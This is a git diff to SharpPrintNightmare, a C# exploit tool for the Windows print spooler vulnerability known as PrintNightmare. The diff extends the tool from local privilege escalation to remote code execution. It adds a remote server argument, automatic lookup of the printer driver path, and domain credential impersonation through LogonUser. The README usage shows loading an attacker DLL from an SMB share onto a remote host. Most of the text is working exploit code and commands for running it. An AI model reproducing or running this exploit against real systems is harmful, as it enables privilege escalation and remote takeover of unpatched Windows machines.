diff --git a/Images/poc4.png b/Images/poc4.png
new file mode 100644
index 0000000..bc7eac5
Binary files /dev/null and b/Images/poc4.png differ
diff --git a/SharpPrintNightmare/README.md b/SharpPrintNightmare/README.md
index 18615d5..1e252ef 100644
--- a/SharpPrintNightmare/README.md
+++ b/SharpPrintNightmare/README.md
@@ -3,7 +3,16 @@
### Usage
```
+#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
+
+#RCE using existing context
+SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
+
+#RCE using runas /netonly
+SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
```
+![](../Images/poc4.png)
+
![](../Images/poc3.png)
diff --git a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo
index da79f45..ce63ce0 100644
Binary files a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo and b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo differ
diff --git a/SharpPrintNightmare/SharpPrintNightmare/Program.cs b/SharpPrintNightmare/SharpPrintNightmare/Program.cs
index 52cf5a5..a03d26c 100644
--- a/SharpPrintNightmare/SharpPrintNightmare/Program.cs
+++ b/SharpPrintNightmare/SharpPrintNightmare/Program.cs
@@ -2,6 +2,7 @@
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
+using Tools;
namespace SharpPrintNightmare
{
@@ -45,30 +46,81 @@ namespace SharpPrintNightmare
static void Main(string[] args)
{
string dllpath;
+ string pDriverPath = "";
+ string path = null;
+ //network credentials wont be used for LPE
+ string domain = "NeverGonnaGiveYouUp";
+ string user = "NeverGonnaLetYouDown";
+ string password = "NeverGonnaRunAroundAndDesertYou";
+
if (args == null || args.Length == 0)
{
- Console.WriteLine("Need an argument containing the dll path");
- Console.WriteLine(".\\SharpPrintNightmare.exe C:\\addCube.dll");
+ Console.WriteLine("-Locally");
+ Console.WriteLine(" .\\SharpPrintNightmare.exe C:\\addCube.dll");
+ Console.WriteLine(" .\\SharpPrintNightmare.exe 'C:\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'");
+ Console.WriteLine("-Remote using current context");
+ Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20'");
+ Console.WriteLine("-Remote using runas");
+ Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20' hackit.local domain_user Pass123");
Environment.Exit(0);
}
dllpath = args[0];
- Console.WriteLine("[*] Try 1...");
- addPrinter(dllpath);
- Console.WriteLine("[*] Try 2...");
- addPrinter(dllpath);
- Console.WriteLine("[*] Try 3...");
- addPrinter(dllpath);
+ if(args.Length > 1)
+ {
+ pDriverPath = args[1];
+ }
+ else
+ {
+ DRIVER_INFO_2[] drivers = getDrivers();
+ foreach (DRIVER_INFO_2 driver in drivers)
+ {
+ //Console.WriteLine(driver.pDriverPath); //debug
+ if (driver.pDriverPath.ToLower().Contains("filerepository"))
+ {
+ pDriverPath = driver.pDriverPath;
+ break;
+ }
+ }
+ //lucky shot
+ if (pDriverPath == "")
+ {
+ pDriverPath = drivers[0].pDriverPath;
+ }
+ pDriverPath = Directory.GetParent(pDriverPath).FullName + "\\UNIDRV.DLL";
+ }
+ if (args.Length > 2)
+ {
+ path = args[2];
+ }
+ if (args.Length > 3)
+ {
+ domain = args[3];
+ user = args[4];
+ password = args[5];
+ }
+
+ //runas /netonly
+ using (new Impersonator.Impersonation(domain, user, password))
+ {
+ Console.WriteLine("[*] Try 1...");
+ addPrinter(dllpath, pDriverPath, path);
+ Console.WriteLine("[*] Try 2...");
+ addPrinter(dllpath, pDriverPath, path);
+ Console.WriteLine("[*] Try 3...");
+ addPrinter(dllpath, pDriverPath, path);
+ }
}
- static void addPrinter(string dllpath)
+ static void addPrinter(string dllpath, string pDriverPath, string path = null)
{
- DRIVER_INFO_2[] drivers = getDrivers();
- string pDriverPath = Directory.GetParent(drivers[0].pDriverPath).FullName + "\\UNIDRV.DLL";
- Console.WriteLine($"[*] pDriverPath Found {pDriverPath}");
+
+ //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug
+ //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug
+ Console.WriteLine($"[*] pDriverPath {pDriverPath}");
Console.WriteLine($"[*] Executing {dllpath}");
- //DRIVER_INFO_2 Level2 = drivers[0];
+ //DRIVER_INFO_2 Level2 = drivers[0]; // debug
DRIVER_INFO_2 Level2 = new DRIVER_INFO_2();
Level2.cVersion = 3;
Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
@@ -85,7 +137,7 @@ namespace SharpPrintNightmare
Marshal.StructureToPtr(Level2, pnt, false);
//call AddPrinterDriverEx
- AddPrinterDriverEx(null, 2, pnt, flags);
+ AddPrinterDriverEx(path, 2, pnt, flags);
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
Marshal.FreeHGlobal(pnt);
@@ -98,10 +150,10 @@ namespace SharpPrintNightmare
Marshal.StructureToPtr(Level2, pnt2, false);
//call AddPrinterDriverEx
- AddPrinterDriverEx(null, 2, pnt2, flags);
+ AddPrinterDriverEx(path, 2, pnt2, flags);
int errorcode = Marshal.GetLastWin32Error();
Marshal.FreeHGlobal(pnt2);
- if(errorcode == 0)
+ if (errorcode == 0)
{
Console.WriteLine($"[*] Stage {i}: " + errorcode);
Console.WriteLine($"[+] Exploit Completed");
@@ -110,11 +162,13 @@ namespace SharpPrintNightmare
}
}
- static DRIVER_INFO_2[] getDrivers()
+ static DRIVER_INFO_2[] getDrivers(string path = null)
{
uint cbNeeded = 0;
uint cReturned = 0;
- if (EnumPrinterDrivers(null, null, 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
+ //path = "\\\\192.168.1.20";
+
+ if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
{
//succeeds, but shouldn't, because buffer is zero (too small)!
throw new Exception("EnumPrinters should fail!");
@@ -128,7 +182,7 @@ namespace SharpPrintNightmare
}
IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded);
- if (EnumPrinterDrivers(null, null, 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
+ if (EnumPrinterDrivers(path, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
{
DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned];
long offset;
diff --git a/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj
index b479c26..ff6fa2e 100644
--- a/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj
+++ b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj
@@ -44,6 +44,7 @@
+
diff --git a/SharpPrintNightmare/SharpPrintNightmare/Tools.cs b/SharpPrintNightmare/SharpPrintNightmare/Tools.cs
new file mode 100644
index 0000000..8db5b55
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/Tools.cs
@@ -0,0 +1,140 @@
+using Microsoft.Win32.SafeHandles;
+using System;
+using System.ComponentModel;
+using System.Runtime.ConstrainedExecution;
+using System.Runtime.InteropServices;
+using System.Security;
+using System.Security.Permissions;
+using System.Security.Principal;
+
+
+namespace Tools
+{
+ public class Impersonator
+ {
+ //Reference https://stackoverflow.com/questions/22544903/impersonate-for-entire-application-lifecycle
+
+ [PermissionSet(SecurityAction.Demand, Name = "FullTrust")]
+ public class Impersonation : IDisposable
+ {
+ private readonly SafeTokenHandle _handle;
+ private readonly WindowsImpersonationContext _context;
+
+ private const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
+
+ public Impersonation(string domain, string username, string password)
+ {
+ var ok = LogonUser(username, domain, password,
+ LOGON32_LOGON_NEW_CREDENTIALS, 0, out this._handle);
+ if (!ok)
+ {
+ var errorCode = Marshal.GetLastWin32Error();
+ throw new ApplicationException(string.Format("Could not impersonate the elevated user. LogonUser returned error code {0}.", errorCode));
+ }
+
+ this._context = WindowsIdentity.Impersonate(this._handle.DangerousGetHandle());
+ }
+
+ public void Dispose()
+ {
+ this._context.Dispose();
+ this._handle.Dispose();
+ }
+
+ [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
+ private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
+
+ public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
+ {
+ private SafeTokenHandle()
+ : base(true) { }
+
+ [DllImport("kernel32.dll")]
+ [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
+ [SuppressUnmanagedCodeSecurity]
+ [return: MarshalAs(UnmanagedType.Bool)]
+ private static extern bool CloseHandle(IntPtr handle);
+
+ protected override bool ReleaseHandle()
+ {
+ return CloseHandle(handle);
+ }
+ }
+ }
+ }
+
+ public class AToken
+ {
+ // Based on SharpSploit MakeToken
+ [DllImport("kernel32.dll", SetLastError = true)]
+ private static extern bool CloseHandle(IntPtr hObject);
+
+ [DllImport("Advapi32.dll", SetLastError = true)]
+ private static extern bool RevertToSelf();
+
+ [DllImport("advapi32.dll", SetLastError = true)]
+ public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
+
+ [DllImport("advapi32.dll", SetLastError = true)]
+ public static extern bool LogonUserA(
+ string lpszUsername,
+ string lpszDomain,
+ string lpszPassword,
+ LOGON_TYPE dwLogonType,
+ LOGON_PROVIDER dwLogonProvider,
+ ref IntPtr phToken);
+
+ [Flags]
+ public enum LOGON_TYPE : uint
+ {
+ LOGON32_LOGON_INTERACTIVE = 2, //will not work for sacrify, still active
+ LOGON32_LOGON_NETWORK, //will not work for sacrify, still active
+ LOGON32_LOGON_BATCH, //will not work for sacrify, still active
+ LOGON32_LOGON_SERVICE, //will not work for sacrify, still active
+ LOGON32_LOGON_UNLOCK = 7, //will not work for sacrify, still active
+ LOGON32_LOGON_NETWORK_CLEARTEXT, //will not work for sacrify, still active
+ LOGON32_LOGON_NEW_CREDENTIALS
+ }
+
+ [Flags]
+ public enum LOGON_PROVIDER : uint
+ {
+ LOGON32_PROVIDER_DEFAULT,
+ LOGON32_PROVIDER_WINNT35,
+ LOGON32_PROVIDER_WINNT40,
+ LOGON32_PROVIDER_WINNT50
+ }
+
+ public static bool MakeToken(string Username, string Domain, string Password, LOGON_TYPE LogonType = LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS)
+ {
+ IntPtr hProcessToken = IntPtr.Zero;
+ if (!LogonUserA(
+ Username, Domain, Password,
+ LogonType,
+ LOGON_PROVIDER.LOGON32_PROVIDER_WINNT50,
+ ref hProcessToken))
+ {
+ Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
+ return false;
+ }
+
+ if (!ImpersonateLoggedOnUser(hProcessToken))
+ {
+ Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
+ CloseHandle(hProcessToken);
+ return false;
+ }
+ return true;
+ }
+
+ public static bool RevertFromToken()
+ {
+ if (!RevertToSelf())
+ {
+ Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
+ return false;
+ }
+ return true;
+ }
+ }
+}
\ No newline at end of file